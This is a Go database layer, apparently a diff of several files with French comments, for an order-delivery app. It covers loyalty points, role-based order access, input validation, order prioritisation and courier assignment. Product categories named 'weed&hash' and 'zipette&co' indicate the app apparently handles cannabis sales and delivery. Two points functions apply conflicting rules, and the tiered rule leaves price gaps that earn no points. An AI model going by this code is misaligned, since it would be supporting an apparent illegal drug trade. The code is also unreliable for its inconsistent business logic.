// À remplacer dans db/clients.go à partir de la ligne 498
// À remplacer dans db/clients.go
func (d *Database) CalculatePointsForCommand(commandID int) (int, string, error) {
query := `
SELECT p.category, ci.prix, ci.quantite
FROM command_items ci
JOIN products p ON ci.product_id = p.id
WHERE ci.command_id = $1
`
rows, err := d.Query(query, commandID)
if err != nil {
return 0, "", fmt.Errorf("erreur récupération items: %w", err)
}
defer rows.Close()
zipetteTotal := 0.0
weedTotal := 0.0
grosSemiTotal := 0.0
for rows.Next() {
var category string
var prix float64
var quantite int
if err := rows.Scan(&category, &prix, &quantite); err != nil {
log.Printf("⚠️ Erreur scan item: %v", err)
continue
}
itemTotal := prix // Prix déjà calculé pour la quantité
categoryLower := strings.ToLower(category)
if categoryLower == "zipette&co" || categoryLower == "zipette_co" {
zipetteTotal += itemTotal
} else if categoryLower == "gros&semi" || categoryLower == "gros_semi" {
grosSemiTotal += itemTotal
} else {
weedTotal += itemTotal
}
}
log.Printf("💰 [CALC_POINTS] Cmd %d - Zipette: %.2f€, Weed: %.2f€, GrosSemi: %.2f€",
commandID, zipetteTotal, weedTotal, grosSemiTotal)
// ✅ CALCUL POINTS WEED&HASH
weedPoints := 0
if weedTotal > 0 {
switch {
case weedTotal >= 30 && weedTotal <= 50:
weedPoints = 1
case weedTotal >= 60 && weedTotal <= 150:
weedPoints = 2
case weedTotal >= 160 && weedTotal <= 300:
weedPoints = 3
case weedTotal >= 310 && weedTotal <= 400:
weedPoints = 5
case weedTotal >= 400:
weedPoints = 10
}
if weedPoints > 0 {
log.Printf("🎁 [CALC_POINTS] Weed: %.2f€ → %d points", weedTotal, weedPoints)
}
}
// ✅ CALCUL POINTS ZIPETTE&CO
zipettePoints := 0
if zipetteTotal > 0 {
switch {
case zipetteTotal >= 30 && zipetteTotal <= 100:
zipettePoints = 1
case zipetteTotal >= 110 && zipetteTotal <= 200:
zipettePoints = 2
case zipetteTotal >= 210:
zipettePoints = 3
}
if zipettePoints > 0 {
log.Printf("🎁 [CALC_POINTS] Zipette: %.2f€ → %d points", zipetteTotal, zipettePoints)
}
}
totalPoints := zipettePoints + weedPoints
if totalPoints == 0 {
if grosSemiTotal > 0 && zipetteTotal == 0 && weedTotal == 0 {
log.Printf("️ [CALC_POINTS] Cmd %d - Catégorie GROS&SEMI uniquement (%.2f€) → 0 points",
commandID, grosSemiTotal)
return 0, "gros&semi", nil
}
log.Printf("️ [CALC_POINTS] Cmd %d - Aucun montant éligible aux points", commandID)
return 0, "unknown", nil
}
var dominantCategory string
if zipetteTotal >= weedTotal {
dominantCategory = "zipette&co"
} else {
dominantCategory = "weed&hash"
}
log.Printf("✅ [CALC_POINTS] Cmd %d - Total: %d points (Zipette: %d, Weed: %d)",
commandID, totalPoints, zipettePoints, weedPoints)
return totalPoints, dominantCategory, nil
}
// ✅ FONCTION CORRIGÉE: Calculer et ajouter les points séparément avec le BON BARÈME
func (d *Database) CalculateAndAddPointsForCommand(commandID int, username string) (int, error) {
query := `
SELECT p.category, ci.prix, ci.quantite
FROM command_items ci
JOIN products p ON ci.product_id = p.id
WHERE ci.command_id = $1
`
rows, err := d.Query(query, commandID)
if err != nil {
return 0, fmt.Errorf("erreur récupération items: %w", err)
}
defer rows.Close()
zipetteTotal := 0.0
weedTotal := 0.0
grosSemiTotal := 0.0
for rows.Next() {
var category string
var prix float64
var quantite int
if err := rows.Scan(&category, &prix, &quantite); err != nil {
log.Printf("⚠️ Erreur scan item: %v", err)
continue
}
// ✅ prix contient déjà le total pour la quantité
itemTotal := prix
categoryLower := strings.ToLower(category)
if categoryLower == "zipette&co" || categoryLower == "zipette_co" {
zipetteTotal += itemTotal
} else if categoryLower == "gros&semi" || categoryLower == "gros_semi" {
grosSemiTotal += itemTotal
} else {
weedTotal += itemTotal
}
}
log.Printf("💰 [CALC_POINTS] Cmd %d - Zipette: %.2f€, Weed: %.2f€, GrosSemi: %.2f€",
commandID, zipetteTotal, weedTotal, grosSemiTotal)
// ✅ CALCUL POINTS WEED&HASH - NOUVEAU BARÈME
// De 30 à 50€ -> 1 point
// De 60 à 150€ -> 2 points
// De 160 à 300€ -> 3 points
// De 310 à 400€ -> 5 points
// 400€ et + -> 10 points
weedPoints := 0
if weedTotal > 0 {
switch {
case weedTotal >= 30 && weedTotal <= 50:
weedPoints = 1
case weedTotal >= 60 && weedTotal <= 150:
weedPoints = 2
case weedTotal >= 160 && weedTotal <= 300:
weedPoints = 3
case weedTotal >= 310 && weedTotal <= 400:
weedPoints = 5
case weedTotal >= 400:
weedPoints = 10
}
if weedPoints > 0 {
log.Printf("🎁 [CALC_POINTS] Weed: %.2f€ → %d points", weedTotal, weedPoints)
}
}
// ✅ CALCUL POINTS ZIPETTE&CO - NOUVEAU BARÈME
// De 30 à 100€ -> 1 point
// De 110 à 200€ -> 2 points (je suppose que c'est 110 et non 1100)
// De 210€ et + -> 3 points
zipettePoints := 0
if zipetteTotal > 0 {
switch {
case zipetteTotal >= 30 && zipetteTotal <= 100:
zipettePoints = 1
case zipetteTotal >= 110 && zipetteTotal <= 200:
zipettePoints = 2
case zipetteTotal >= 210:
zipettePoints = 3
}
if zipettePoints > 0 {
log.Printf("🎁 [CALC_POINTS] Zipette: %.2f€ → %d points", zipetteTotal, zipettePoints)
}
}
totalPoints := 0
// ✅ AJOUTER LES POINTS SÉPARÉMENT PAR CATÉGORIE
if zipettePoints > 0 {
if err := d.AddClientPointsByCategory(username, zipettePoints, "zipette&co"); err != nil {
log.Printf("❌ Erreur ajout points Zipette: %v", err)
} else {
totalPoints += zipettePoints
log.Printf("✅ %d points ZIPETTE ajoutés à %s", zipettePoints, username)
}
}
if weedPoints > 0 {
if err := d.AddClientPointsByCategory(username, weedPoints, "weed&hash"); err != nil {
log.Printf("❌ Erreur ajout points Weed: %v", err)
} else {
totalPoints += weedPoints
log.Printf("✅ %d points WEED ajoutés à %s", weedPoints, username)
}
}
if totalPoints == 0 {
if grosSemiTotal > 0 && zipetteTotal == 0 && weedTotal == 0 {
log.Printf("️ [CALC_POINTS] Cmd %d - Catégorie GROS&SEMI uniquement → 0 points", commandID)
} else {
log.Printf("️ [CALC_POINTS] Cmd %d - Aucun point éligible (Weed: %.2f€, Zipette: %.2f€)",
commandID, weedTotal, zipetteTotal)
}
}
log.Printf("✅ [CALC_POINTS] Cmd %d - Total: %d points (Zipette: %d, Weed: %d)",
commandID, totalPoints, zipettePoints, weedPoints)
return totalPoints, nil
}
func (d *Database) CalculateAndAddPointsForCommandTx(tx *sql.Tx, commandID int, username string) (int, error) {
log.Printf("💰 [CalcPointsTx] START - cmd=%d, user=%s", commandID, username)
// ✅ ÉTAPE 1: Récupérer tous les items de la commande avec leurs catégories
query := `
SELECT ci.quantite, ci.prix, COALESCE(p.category, 'weed_hash') as category
FROM command_items ci
LEFT JOIN products p ON ci.product_id = p.id
WHERE ci.command_id = $1
`
rows, err := tx.Query(query, commandID)
if err != nil {
log.Printf("❌ [CalcPointsTx] Erreur query items: %v", err)
return 0, fmt.Errorf("erreur récupération items: %w", err)
}
defer rows.Close()
type ItemPoints struct {
Category string
Quantite int
Prix float64
}
var items []ItemPoints
totalPrixWeedHash := 0.0
totalPrixZipette := 0.0
for rows.Next() {
var item ItemPoints
if err := rows.Scan(&item.Quantite, &item.Prix, &item.Category); err != nil {
log.Printf("❌ [CalcPointsTx] Erreur scan: %v", err)
return 0, fmt.Errorf("erreur lecture item: %w", err)
}
items = append(items, item)
// Cumuler par catégorie
if item.Category == "zipette" {
totalPrixZipette += item.Prix
} else {
// weed_hash ou autres catégories
totalPrixWeedHash += item.Prix
}
}
if err = rows.Err(); err != nil {
log.Printf("❌ [CalcPointsTx] Erreur rows: %v", err)
return 0, fmt.Errorf("erreur itération items: %w", err)
}
if len(items) == 0 {
log.Printf("⚠️ [CalcPointsTx] Aucun item trouvé pour cmd %d", commandID)
return 0, nil
}
log.Printf("📊 [CalcPointsTx] %d items - weed_hash: %.2f€, zipette: %.2f€",
len(items), totalPrixWeedHash, totalPrixZipette)
// ✅ ÉTAPE 2: Calculer les points par catégorie
// Règle: 1 point par tranche de 10€
pointsWeedHash := int(totalPrixWeedHash / 10.0)
pointsZipette := int(totalPrixZipette / 10.0)
totalPoints := pointsWeedHash + pointsZipette
log.Printf("💰 [CalcPointsTx] Points calculés - weed_hash: %d, zipette: %d, total: %d",
pointsWeedHash, pointsZipette, totalPoints)
// ✅ ÉTAPE 3: Mettre à jour les points du client (dans la transaction)
if pointsWeedHash > 0 || pointsZipette > 0 {
updateQuery := `
UPDATE clients
SET
point = point + $1,
point_zipette = point_zipette + $2,
updated_at = CURRENT_TIMESTAMP
WHERE username = $3
`
result, err := tx.Exec(updateQuery, pointsWeedHash, pointsZipette, username)
if err != nil {
log.Printf("❌ [CalcPointsTx] Erreur UPDATE points: %v", err)
return 0, fmt.Errorf("erreur mise à jour points: %w", err)
}
rows, _ := result.RowsAffected()
if rows == 0 {
log.Printf("⚠️ [CalcPointsTx] Client %s non trouvé", username)
return 0, fmt.Errorf("client non trouvé")
}
log.Printf("✅ [CalcPointsTx] Points ajoutés: +%d weed_hash, +%d zipette pour %s",
pointsWeedHash, pointsZipette, username)
}
log.Printf("🎉 [CalcPointsTx] SUCCÈS - Total %d points attribués", totalPoints)
return totalPoints, nil
}
func (d *Database) CanUserAccessCommand(
commandID int,
username string,
role string,
) (bool, error) {
// 👑 Admin : accès total
if role == "admin" {
return true, nil
}
var exists bool
// 🚚 Livreur : seulement commandes assignées
if role == "livreur" {
err := d.QueryRow(`
SELECT EXISTS(
SELECT 1 FROM commandes
WHERE id = $1 AND livreur_assign = $2
)
`, commandID, username).Scan(&exists)
return exists, err
}
// 👤 User : seulement SES commandes
err := d.QueryRow(`
SELECT EXISTS(
SELECT 1 FROM commandes
WHERE id = $1 AND username = $2
)
`, commandID, username).Scan(&exists)
return exists, err
}
+461
View File
@@ -0,0 +1,461 @@
package db
import (
"database/sql"
"fmt"
"log"
"strings"
"time"
)
// ============================================
// VALIDATION HELPERS
// ============================================
func validateCommandID(commandID int) error {
if commandID <= 0 {
return fmt.Errorf("ID commande invalide: %d", commandID)
}
if commandID > 2147483647 {
return fmt.Errorf("ID commande trop grand")
}
return nil
}
func validateItemID(itemID int) error {
if itemID <= 0 {
return fmt.Errorf("ID item invalide: %d", itemID)
}
if itemID > 2147483647 {
return fmt.Errorf("ID item trop grand")
}
return nil
}
func validateQuantite(quantite int) error {
if quantite <= 0 {
return fmt.Errorf("quantité doit être > 0")
}
if quantite > 10000 {
return fmt.Errorf("quantité trop élevée (max 10000)")
}
return nil
}
func validatePrix(prix float64) error {
if prix <= 0 {
return fmt.Errorf("prix doit être > 0")
}
if prix > 100000 {
return fmt.Errorf("prix trop élevé (max 100000)")
}
return nil
}
func validateUsername(username string) error {
if len(username) == 0 {
return fmt.Errorf("username vide")
}
if len(username) > 100 {
return fmt.Errorf("username trop long (max 100)")
}
// Sanitize
if strings.Contains(username, "..") || strings.Contains(username, "/") {
return fmt.Errorf("username invalide")
}
return nil
}
func validateDeliveryAddress(address string) error {
if len(address) == 0 {
return fmt.Errorf("adresse vide")
}
if len(address) > 500 {
return fmt.Errorf("adresse trop longue (max 500)")
}
return nil
}
func validateItemStatus(status string) error {
validStatuses := []string{"pending", "assigned", "en_route", "livre", "approved", "cancelled"}
status = strings.ToLower(strings.TrimSpace(status))
for _, valid := range validStatuses {
if status == valid {
return nil
}
}
return fmt.Errorf("statut invalide: %s", status)
}
// ============================================
// INSERT COMMAND ITEM - VERSION SÉCURISÉE
// ============================================
func (d *Database) InsertCommandItemWithClientInfo(
commandID int,
produit string,
productID, quantite int,
prix float64,
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress string,
) error {
log.Printf("📝 [InsertCommandItemWithClientInfo] START - commandID=%d, produit=%s", commandID, produit)
// ✅ VALIDATION COMPLÈTE
if err := validateCommandID(commandID); err != nil {
return err
}
if err := validateProductID(productID); err != nil {
return err
}
if err := validateQuantite(quantite); err != nil {
return err
}
if err := validatePrix(prix); err != nil {
return err
}
if err := validateUsername(clientUsername); err != nil {
return err
}
if err := validateDeliveryAddress(deliveryAddress); err != nil {
return err
}
// ✅ SANITIZE STRINGS
produit = strings.TrimSpace(produit)
if len(produit) > 200 {
produit = produit[:200]
}
clientNom = strings.TrimSpace(clientNom)
if len(clientNom) > 100 {
clientNom = clientNom[:100]
}
clientPrenom = strings.TrimSpace(clientPrenom)
if len(clientPrenom) > 100 {
clientPrenom = clientPrenom[:100]
}
clientTelephone = strings.TrimSpace(clientTelephone)
if len(clientTelephone) > 20 {
clientTelephone = clientTelephone[:20]
}
// ✅ VÉRIFIER QUE LA COMMANDE EXISTE
var exists bool
checkQuery := `SELECT EXISTS(SELECT 1 FROM commandes WHERE id = $1)`
err := d.QueryRow(checkQuery, commandID).Scan(&exists)
if err != nil {
log.Printf("❌ Erreur vérification commande: %v", err)
return fmt.Errorf("erreur vérification commande: %w", err)
}
if !exists {
return fmt.Errorf("commande %d n'existe pas", commandID)
}
// ✅ INSERT
query := `INSERT INTO command_items (
command_id, produit, product_id, quantite, prix,
client_username, client_nom, client_prenom, client_telephone, delivery_address,
status, created_at, updated_at
) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, 'pending', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)`
_, err = d.Exec(query,
commandID, produit, productID, quantite, prix,
clientUsername, clientNom, clientPrenom, clientTelephone, deliveryAddress,
)
if err != nil {
log.Printf("❌ Erreur INSERT command_items: %v", err)
return fmt.Errorf("erreur insertion item: %w", err)
}
log.Printf("✅ Item inséré avec infos client: %s %s", clientNom, clientPrenom)
return nil
}
// ============================================
// GET COMMAND ITEMS - VERSION SÉCURISÉE + FIX NULL
// ============================================
func (d *Database) GetCommandItems(commandID int) ([]map[string]interface{}, error) {
log.Printf("📦 [GetCommandItems] START - commandID=%d", commandID)
// ✅ VALIDATION
if err := validateCommandID(commandID); err != nil {
log.Printf("❌ [GetCommandItems] %v", err)
return nil, err
}
query := `
SELECT
ci.id,
ci.command_id,
ci.produit,
ci.product_id,
ci.quantite,
ci.prix,
ci.client_username,
ci.client_nom,
ci.client_prenom,
ci.client_telephone,
ci.delivery_address,
ci.status,
ci.created_at,
ci.updated_at,
c.status as command_status,
c.adresse as command_address,
c.total_prix,
c.livreur_assign,
c.created_at as command_created_at,
COALESCE(p.category, 'weed_hash') as category
FROM command_items ci
LEFT JOIN commandes c ON ci.command_id = c.id
LEFT JOIN products p ON ci.product_id = p.id
WHERE ci.command_id = $1
ORDER BY ci.id ASC`
rows, err := d.Query(query, commandID)
if err != nil {
log.Printf("❌ Erreur query: %v", err)
return nil, fmt.Errorf("erreur récupération items: %w", err)
}
defer rows.Close()
var items []map[string]interface{}
for rows.Next() {
var id, commandID, quantite int
var productID sql.NullInt64 // ✅ FIX: Utiliser NullInt64 pour gérer NULL
var produit, clientUsername, clientNom, clientPrenom, clientTelephone string
var deliveryAddress, status sql.NullString
var prix, totalPrix float64
var createdAt, updatedAt, commandCreatedAt time.Time
var commandStatus, commandAddress, livreurAssign sql.NullString
var category string
// ✅ FIX: Utiliser &productID (sql.NullInt64)
err := rows.Scan(
&id, &commandID, &produit, &productID, &quantite, &prix,
&clientUsername, &clientNom, &clientPrenom, &clientTelephone, &deliveryAddress, &status,
&createdAt, &updatedAt,
&commandStatus, &commandAddress, &totalPrix, &livreurAssign, &commandCreatedAt,
&category,
)
if err != nil {
log.Printf("❌ Erreur scan: %v", err)
return nil, fmt.Errorf("erreur scan: %w", err)
}
// ✅ CONVERTIR sql.NullInt64 en int (0 si NULL)
productIDValue := 0
if productID.Valid {
productIDValue = int(productID.Int64)
}
item := map[string]interface{}{
"id": id,
"command_id": commandID,
"produit": produit,
"product_id": productIDValue, // ✅ FIX: Utiliser la valeur convertie
"quantite": quantite,
"prix": prix,
"client_username": clientUsername,
"client_nom": clientNom,
"client_prenom": clientPrenom,
"client_telephone": clientTelephone,
"delivery_address": deliveryAddress.String,
"status": status.String,
"created_at": createdAt,
"updated_at": updatedAt,
// Infos commande
"command_status": commandStatus.String,
"command_address": commandAddress.String,
"total_prix": totalPrix,
"livreur_assign": livreurAssign.String,
"command_created_at": commandCreatedAt,
"category": category,
}
items = append(items, item)
}
if err = rows.Err(); err != nil {
log.Printf("❌ Erreur itération: %v", err)
return nil, fmt.Errorf("erreur itération: %w", err)
}
log.Printf("✅ %d items récupérés avec infos client et catégories", len(items))
return items, nil
}
// ============================================
// GET COMMAND ITEMS BY USERNAME - VERSION SÉCURISÉE + FIX NULL
// ============================================
func (d *Database) GetCommandItemsByUsername(username string) ([]map[string]interface{}, error) {
log.Printf("📦 [GetCommandItemsByUsername] START - username=%s", username)
// ✅ VALIDATION
if err := validateUsername(username); err != nil {
log.Printf("❌ [GetCommandItemsByUsername] %v", err)
return nil, err
}
query := `
SELECT
ci.id,
ci.command_id,
ci.produit,
ci.product_id,
ci.quantite,
ci.prix,
ci.client_username,
ci.client_nom,
ci.client_prenom,
ci.client_telephone,
ci.delivery_address,
ci.status,
ci.created_at,
ci.updated_at,
c.status as command_status,
c.adresse as command_address,
c.total_prix,
c.livreur_assign,
c.created_at as command_created_at
FROM command_items ci
LEFT JOIN commandes c ON ci.command_id = c.id
WHERE ci.client_username = $1
ORDER BY ci.command_id DESC, ci.id ASC`
rows, err := d.Query(query, username)
if err != nil {
log.Printf("❌ Erreur query: %v", err)
return nil, fmt.Errorf("erreur récupération items: %w", err)
}
defer rows.Close()
var items []map[string]interface{}
for rows.Next() {
var id, commandID, quantite int
var productID sql.NullInt64 // ✅ FIX: NullInt64
var produit, clientUsername, clientNom, clientPrenom, clientTelephone string
var deliveryAddress, status sql.NullString
var prix, totalPrix float64
var createdAt, updatedAt, commandCreatedAt time.Time
var commandStatus, commandAddress, livreurAssign sql.NullString
err := rows.Scan(
&id, &commandID, &produit, &productID, &quantite, &prix,
&clientUsername, &clientNom, &clientPrenom, &clientTelephone, &deliveryAddress, &status,
&createdAt, &updatedAt,
&commandStatus, &commandAddress, &totalPrix, &livreurAssign, &commandCreatedAt,
)
if err != nil {
log.Printf("❌ Erreur scan: %v", err)
return nil, fmt.Errorf("erreur scan: %w", err)
}
// ✅ CONVERTIR NullInt64
productIDValue := 0
if productID.Valid {
productIDValue = int(productID.Int64)
}
item := map[string]interface{}{
"id": id,
"command_id": commandID,
"produit": produit,
"product_id": productIDValue, // ✅ FIX
"quantite": quantite,
"prix": prix,
"client_username": clientUsername,
"client_nom": clientNom,
"client_prenom": clientPrenom,
"client_telephone": clientTelephone,
"delivery_address": deliveryAddress.String,
"status": status.String,
"created_at": createdAt,
"updated_at": updatedAt,
// Infos commande
"command_status": commandStatus.String,
"command_address": commandAddress.String,
"total_prix": totalPrix,
"livreur_assign": livreurAssign.String,
"command_created_at": commandCreatedAt,
}
items = append(items, item)
}
if err = rows.Err(); err != nil {
log.Printf("❌ Erreur itération: %v", err)
return nil, fmt.Errorf("erreur itération: %w", err)
}
log.Printf("✅ %d items récupérés pour l'utilisateur %s", len(items), username)
return items, nil
}
// ============================================
// UPDATE COMMAND ITEM STATUS - VERSION SÉCURISÉE
// ============================================
func (d *Database) UpdateCommandItemStatus(itemID int, status string) error {
log.Printf("📝 [UpdateCommandItemStatus] START - itemID=%d, status=%s", itemID, status)
// ✅ VALIDATION
if err := validateItemID(itemID); err != nil {
log.Printf("❌ [UpdateCommandItemStatus] %v", err)
return err
}
if err := validateItemStatus(status); err != nil {
log.Printf("❌ [UpdateCommandItemStatus] %v", err)
return err
}
// ✅ VÉRIFIER QUE L'ITEM EXISTE
var exists bool
checkQuery := `SELECT EXISTS(SELECT 1 FROM command_items WHERE id = $1)`
err := d.QueryRow(checkQuery, itemID).Scan(&exists)
if err != nil {
log.Printf("❌ Erreur vérification: %v", err)
return fmt.Errorf("erreur vérification item: %w", err)
}
if !exists {
log.Printf("❌ Item %d non trouvé", itemID)
return fmt.Errorf("item %d non trouvé", itemID)
}
// ✅ UPDATE
query := `UPDATE command_items
SET status = $1, updated_at = CURRENT_TIMESTAMP
WHERE id = $2`
result, err := d.Exec(query, status, itemID)
if err != nil {
log.Printf("❌ Erreur UPDATE: %v", err)
return fmt.Errorf("erreur mise à jour statut: %w", err)
}
rowsAffected, err := result.RowsAffected()
if err != nil {
log.Printf("❌ Erreur RowsAffected: %v", err)
return fmt.Errorf("erreur vérification: %w", err)
}
if rowsAffected == 0 {
log.Printf("❌ Item %d non trouvé", itemID)
return fmt.Errorf("item non trouvé")
}
log.Printf("✅ Statut item %d mis à jour: %s", itemID, status)
return nil
}
+274
View File
@@ -0,0 +1,274 @@
// ============================================
// db/commands_priority.go
// 🎯 SYSTÈME DE PRIORISATION DES COMMANDES
// ============================================
package db
import (
"database/sql"
"fmt"
"gestion/models"
"log"
"time"
)
// GetAllCommandsOldestFirst récupère les commandes triées par ancienneté (plus anciennes en premier)
// Utilisé pour le système de priorisation automatique
func (d *Database) GetAllCommandsOldestFirst(status, username string) ([]map[string]interface{}, error) {
query := `SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
c.livreur_assign, c.created_at, c.updated_at
FROM commandes c
WHERE 1=1`
args := []interface{}{}
argPosition := 1
// Filtrer par status
if status != "" {
validStatuses := []string{"pending", "assigned", "en_route", "livre", "approved", "cancelled", "disabled", "support"}
isValid := false
for _, vs := range validStatuses {
if status == vs {
isValid = true
break
}
}
if !isValid {
return nil, fmt.Errorf("statut invalide: %s", status)
}
query += fmt.Sprintf(" AND c.status = $%d", argPosition)
args = append(args, status)
argPosition++
}
// Filtrer par username si fourni
if username != "" {
query += fmt.Sprintf(" AND c.username = $%d", argPosition)
args = append(args, username)
argPosition++
}
// ✅ TRI PAR ANCIENNETÉ: Les plus anciennes d'abord (ASC)
query += " ORDER BY c.created_at ASC"
log.Printf("🔍 [PRIORITY] Query: %s | Args: %v", query, args)
rows, err := d.Query(query, args...)
if err != nil {
return nil, fmt.Errorf("erreur récupération commandes prioritaires: %w", err)
}
defer rows.Close()
var commands []map[string]interface{}
for rows.Next() {
var id int
var username, status, adresse string
var livreurAssign sql.NullString
var totalPrix float64
var createdAt, updatedAt time.Time
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix, &livreurAssign, &createdAt, &updatedAt)
if err != nil {
return nil, fmt.Errorf("erreur scan commande: %w", err)
}
command := map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"created_at": createdAt,
"updated_at": updatedAt,
}
if livreurAssign.Valid {
command["livreur_assign"] = livreurAssign.String
} else {
command["livreur_assign"] = nil
}
commands = append(commands, command)
}
if err = rows.Err(); err != nil {
return nil, fmt.Errorf("erreur itération résultats: %w", err)
}
log.Printf("✅ [PRIORITY] %d commandes récupérées (ordre: plus anciennes → plus récentes)", len(commands))
return commands, nil
}
// GetOldestPendingCommand récupère la commande pending la plus ancienne
func (d *Database) GetOldestPendingCommand() (map[string]interface{}, error) {
query := `SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
c.livreur_assign, c.created_at, c.updated_at
FROM commandes c
WHERE c.status = 'pending'
ORDER BY c.created_at ASC
LIMIT 1`
var id int
var username, status, adresse string
var livreurAssign sql.NullString
var totalPrix float64
var createdAt, updatedAt time.Time
err := d.QueryRow(query).Scan(
&id, &username, &status, &adresse, &totalPrix,
&livreurAssign, &createdAt, &updatedAt,
)
if err == sql.ErrNoRows {
return nil, nil // Aucune commande pending
}
if err != nil {
return nil, fmt.Errorf("erreur récupération commande la plus ancienne: %w", err)
}
command := map[string]interface{}{
"id": id,
"username": username,
"status": status,
"adresse": adresse,
"total_prix": totalPrix,
"created_at": createdAt,
"updated_at": updatedAt,
}
if livreurAssign.Valid {
command["livreur_assign"] = livreurAssign.String
} else {
command["livreur_assign"] = nil
}
log.Printf("📌 [PRIORITY] Commande la plus ancienne: ID=%d, créée le %s",
id, createdAt.Format("2006-01-02 15:04:05"))
return command, nil
}
// GetPendingCommandsWithPriority récupère les commandes pending avec calcul de priorité
func (d *Database) GetPendingCommandsWithPriority() ([]*models.CommandPriority, error) {
query := `SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
c.created_at, c.updated_at,
EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - c.created_at)) as waiting_seconds
FROM commandes c
WHERE c.status = 'pending'
ORDER BY c.created_at ASC`
rows, err := d.Query(query)
if err != nil {
return nil, fmt.Errorf("erreur récupération commandes avec priorité: %w", err)
}
defer rows.Close()
var commands []*models.CommandPriority
for rows.Next() {
var id int
var username, status, adresse string
var totalPrix float64
var createdAt, updatedAt time.Time
var waitingSeconds float64
err := rows.Scan(&id, &username, &status, &adresse, &totalPrix,
&createdAt, &updatedAt, &waitingSeconds)
if err != nil {
return nil, fmt.Errorf("erreur scan commande priorité: %w", err)
}
cmd := &models.CommandPriority{
ID: id,
Username: username,
Status: status,
Address: adresse,
TotalPrice: totalPrix,
CreatedAt: createdAt,
UpdatedAt: updatedAt,
WaitingSeconds: int(waitingSeconds),
WaitingMinutes: int(waitingSeconds / 60),
}
commands = append(commands, cmd)
}
if err = rows.Err(); err != nil {
return nil, fmt.Errorf("erreur itération résultats priorité: %w", err)
}
log.Printf("✅ [PRIORITY] %d commandes avec score de priorité calculé", len(commands))
return commands, nil
}
// GetCommandWaitingTime récupère le temps d'attente d'une commande
func (d *Database) GetCommandWaitingTime(commandID int) (int, error) {
query := `SELECT EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - created_at))::INTEGER as waiting_seconds
FROM commandes
WHERE id = $1`
var waitingSeconds int
err := d.QueryRow(query, commandID).Scan(&waitingSeconds)
if err == sql.ErrNoRows {
return 0, fmt.Errorf("commande non trouvée")
}
if err != nil {
return 0, fmt.Errorf("erreur récupération temps d'attente: %w", err)
}
return waitingSeconds, nil
}
// GetPendingCommandsStats récupère des statistiques sur les commandes en attente
func (d *Database) GetPendingCommandsStats() (map[string]interface{}, error) {
query := `SELECT
COUNT(*) as total_pending,
AVG(EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - created_at))) as avg_waiting_seconds,
MIN(created_at) as oldest_command_date,
MAX(created_at) as newest_command_date
FROM commandes
WHERE status = 'pending'`
var totalPending int
var avgWaitingSeconds sql.NullFloat64
var oldestDate, newestDate sql.NullTime
err := d.QueryRow(query).Scan(&totalPending, &avgWaitingSeconds, &oldestDate, &newestDate)
if err != nil {
return nil, fmt.Errorf("erreur récupération stats: %w", err)
}
stats := map[string]interface{}{
"total_pending": totalPending,
"avg_waiting_seconds": 0,
"avg_waiting_minutes": 0,
"oldest_command_date": nil,
"newest_command_date": nil,
"oldest_waiting_minutes": 0,
}
if avgWaitingSeconds.Valid {
stats["avg_waiting_seconds"] = int(avgWaitingSeconds.Float64)
stats["avg_waiting_minutes"] = int(avgWaitingSeconds.Float64 / 60)
}
if oldestDate.Valid {
stats["oldest_command_date"] = oldestDate.Time
waitingTime := time.Since(oldestDate.Time)
stats["oldest_waiting_minutes"] = int(waitingTime.Minutes())
}
if newestDate.Valid {
stats["newest_command_date"] = newestDate.Time
}
log.Printf("📊 [STATS] Commandes pending: %d | Attente moyenne: %d min | Plus ancienne: %d min",
totalPending,
stats["avg_waiting_minutes"],
stats["oldest_waiting_minutes"])
return stats, nil
}
File diff suppressed because it is too large Load Diff
+383
View File
@@ -0,0 +1,383 @@
package db
import (
"database/sql"
"fmt"
"log"
"time"
)
// GetAvailableDeliveryPersons récupère tous les livreurs disponibles
func (d *Database) GetAvailableDeliveryPersons() ([]map[string]interface{}, error) {
query := `SELECT id, username, total, livraison
FROM users
WHERE role = 'livreur'
ORDER BY username`
rows, err := d.Query(query)
if err != nil {
return nil, fmt.Errorf("erreur lors de la récupération des livreurs: %w", err)
}
defer rows.Close()
var livreurs []map[string]interface{}
for rows.Next() {
var id int
var username string
var total, livraison float64
err := rows.Scan(&id, &username, &total, &livraison)
if err != nil {
return nil, fmt.Errorf("erreur lors du scan du livreur: %w", err)
}
livreur := map[string]interface{}{
"id": id,
"username": username,
"total": total,
"livraison": livraison,
}
livreurs = append(livreurs, livreur)
}
return livreurs, nil
}
// Admin appelle cette fonction pour assigner un livreur
func (d *Database) AssignDeliveryPerson(commandID int, livreurUsername string) error {
log.Printf("📦 [AssignDeliveryPerson] START - commandID=%d, livreur=%s", commandID, livreurUsername)
// ✅ DÉMARRER UNE TRANSACTION
tx, err := d.Begin()
if err != nil {
log.Printf("❌ Erreur démarrage transaction: %v", err)
return fmt.Errorf("erreur démarrage transaction: %w", err)
}
defer tx.Rollback() // Rollback automatique si non commité
// ============================================
// ÉTAPE 1: Vérifier le livreur (DANS la transaction)
// ============================================
var role string
checkQuery := `SELECT role FROM users WHERE username = $1 FOR UPDATE`
err = tx.QueryRow(checkQuery, livreurUsername).Scan(&role)
if err == sql.ErrNoRows {
log.Printf("❌ Livreur '%s' non trouvé", livreurUsername)
return fmt.Errorf("livreur non trouvé")
}
if err != nil {
log.Printf("❌ Erreur vérification livreur: %v", err)
return fmt.Errorf("erreur lors de la vérification du livreur: %w", err)
}
if role != "livreur" {
log.Printf("❌ L'utilisateur '%s' n'est pas un livreur (role=%s)", livreurUsername, role)
return fmt.Errorf("l'utilisateur n'est pas un livreur")
}
log.Printf(" ✅ Livreur valide: %s", livreurUsername)
// ============================================
// ÉTAPE 2: Vérifier et VERROUILLER la commande
// ✅ FOR UPDATE empêche les modifications concurrentes
// ============================================
var currentStatus string
var currentLivreur sql.NullString
statusQuery := `SELECT status, livreur_assign
FROM commandes
WHERE id = $1
FOR UPDATE` // ⚠️ VERROUILLAGE CRITIQUE
err = tx.QueryRow(statusQuery, commandID).Scan(&currentStatus, &currentLivreur)
if err == sql.ErrNoRows {
